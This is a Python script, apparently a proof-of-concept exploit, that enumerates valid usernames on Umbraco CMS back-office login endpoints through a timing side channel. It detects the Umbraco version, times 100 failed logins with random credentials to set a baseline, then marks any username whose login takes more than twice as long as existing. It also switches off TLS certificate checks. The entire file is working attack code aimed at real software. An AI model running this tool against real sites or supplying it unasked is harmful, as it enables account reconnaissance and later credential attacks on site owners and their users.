import random import string import time import requests import argparse # List to enumerate over (100 items) items = list(range(100)) # Store timings timings = [] username_list = [] URL = '' # Suppress warnings requests.packages.urllib3.disable_warnings() def main(): parser = argparse.ArgumentParser(description="input file and Umbraco URL") parser.add_argument('-f', type=argparse.FileType('r'), help="Path to the line seperated file") parser.add_argument('-u', help="scheme, host and port (eg. https://192.168.122.213:8443) ") args = parser.parse_args() # We should do some argument handling/validation here if (args.f == None or args.u == None): parser.print_help() exit(0) # Process the file to a list which we can pass to enum_usersnames function for line in args.f: line = line.strip() # Remove leading/trailing whitespace username_list.append(line) # Close the file args.f.close() #print(URL) tmp_url = args.u check_version(tmp_url) build_timing_model() enum_usernames(username_list) def check_version(url): global URL # for version above >= 14.0.0 new_login_url = url + "/umbraco/management/api/v1/security/back-office/login" # for version < 14.0.0 old_login_url = url + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" response_new = requests.post(new_login_url, headers={'Content-Type': 'application/json'}, verify=False) response_old = requests.post(old_login_url, headers={'Content-Type': 'application/json'}, verify=False) if (response_new.status_code != 404 & response_old.status_code == 404): print("[+] Umbraco version >= 14.0.0") URL = new_login_url else: print("[+] Umbraco version < 14.0.0") URL = old_login_url return def build_timing_model(): print("[+] Building statistical model by doing 100 incorrect login attempts") for i, item in enumerate(items): length = random.randint(5, 9) random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=length)) random_mail = 'nonexist_' + random_string + "@"+ random_string + ".local" random_password = 'nonexistpw_' + random_string json_wrong_data = {"username":random_mail,"password":random_password} # Start the timer for request start_time = time.perf_counter() try: response = requests.post(URL, json=json_wrong_data, headers={'Content-Type': 'application/json'}, verify=False) # print(response) except requests.exceptions.RequestException as e: print(f"Request {i + 1} failed: {e}") # Stop the timer for the request end_time = time.perf_counter() # Append for statistics duration = end_time - start_time timings.append(duration) print("[+] Finished building statististical model!") def enum_usernames(usernames): number_users = 0 existing_users = [] for username in usernames: length = random.randint(5, 9) random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=length)) random_password = 'nonexistpw_' + random_string json_data = {"username":username,"password":random_password} start_time = time.perf_counter() try: response = requests.post(URL, json=json_data, headers={'Content-Type': 'application/json'}, verify=False) except requests.exceptions.RequestException as e: print(f"Request failed: {e}") end_time = time.perf_counter() duration = end_time - start_time factor = duration / (sum(timings) / len(timings)) if duration != 0 else float('inf') # print(f"Factor: {factor:.4f}") # We can adjust the threshold here but if a factor of above 2 is observed we assume the username to be correct if ( factor > 2): print(f'[+] Found an existing user: {username} (factor is: {factor})') existing_users.append(username) number_users += 1 else: pass print(f'Found {number_users} (potentially) existing users:') print(existing_users) if __name__ == "__main__": main()